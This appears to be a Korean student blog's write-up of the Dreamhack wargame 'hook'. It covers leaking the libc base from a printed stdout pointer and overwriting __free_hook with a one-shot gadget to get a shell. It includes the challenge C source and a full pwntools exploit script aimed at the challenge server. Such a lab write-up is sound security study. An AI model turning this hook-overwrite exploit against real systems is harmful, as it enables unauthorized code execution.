Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- 숙명여자대학교 정보보안동아리
- 파이썬
- siss
- HTML
- 풀이
- lob
- XSS Game
- Javascript
- 생활코딩
- hackerrank
- 드림핵
- 기계학습
- hackctf
- BOJ
- C언어
- BOJ Python
- 숙명여자대학교 정보보안 동아리
- WarGame
- 머신러닝
- PHP 웹페이지 만들기
- c
- 웹페이지 만들기
- Sookmyung Information Security Study
- The Loard of BOF
- CSS
- 백준
- SWEA
- 자료구조 복습
- c++
- Python
Archives
- Today
- Total
혜랑's STORY
[Dreamhack Wargame] hook 본문
먼저 주어진 파일을 다운받아 코드의 흐름을 살펴보자.
hook.c
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
코드를 살펴본 결과 라이브러리 내에 존재하는 stdout 포인터를 통해 라이브러리의 베이스 주소를 알아낼 수 있었다. 이를 통해 __malloc_hook과 __free_hook의 주소를 알아낼 수 있다.
해당 주소를 알아낸 뒤 _hook을 덮어씀으로써 두 번재 free 함수가 호출될 때 pc를 조작할 수 있다.
__malloc_hook과 __free_hook의 주소 및 오프셋을 gdb를 통해 알아내 보자.
이 경우 __malloc_hook의 오프셋은 0x3c4b10, __free_hook의 오프셋은 0x3c67a8이다. 이를 원샷가젯으로 덮으면 쉘을 획득할 수 있다.
stdout 포인터를 통해 라이브러리의 베이스 주소를 구해보자.
libc_base = libc_stdout - 0x3c5620
지금까지 얻은 정보를 바탕으로 exploit code를 작성하였고, 원샷 가젯의 코드가 실행되어 쉘을 획득할 수 있다.
from pwn import *
p = remote('host1.dreamhack.games', '16408')
libc = ELF('./libc.so.6')
e = ELF('./hook')
print p.recvuntil("stdout: ")
libc_stdout = int(p.recvuntil("\n").strip("\n"), 16)
libc_base = libc_stdout - 0x3c5620 #libc.symbols['_IO_2_1_stdout_']
malloc_hook = libc_base + 0x3c4b10 #libc.symbols['__malloc_hook']
free_hook = libc_base + 0x3c67a8 #libc.symbols['__free_hook']
oneshot_gadget = libc_base + 0x4526a
payload = p64(free_hook)
payload += p64(oneshot_gadget)
p.sendlineafter("Size: ", "400")
p.sendlineafter("Data: ", payload)
p.interactive()
실행 결과는 다음과 같다.
'2021 SISS 21기 활동 > 2학시 시스템' 카테고리의 다른 글
[Dreamhack Wargame] basic_heap_overflow (0) | 2021.11.21 |
---|---|
[Dreamhack] Heap Allocator Exploit : Heap Feng Shui (0) | 2021.10.08 |
[Dreamhack Wargame] house_of_force (0) | 2021.10.02 |
[Dreamhack] Heap Allocator Exploit : House of Force (0) | 2021.10.02 |
[HC 2021] welcome (0) | 2021.09.26 |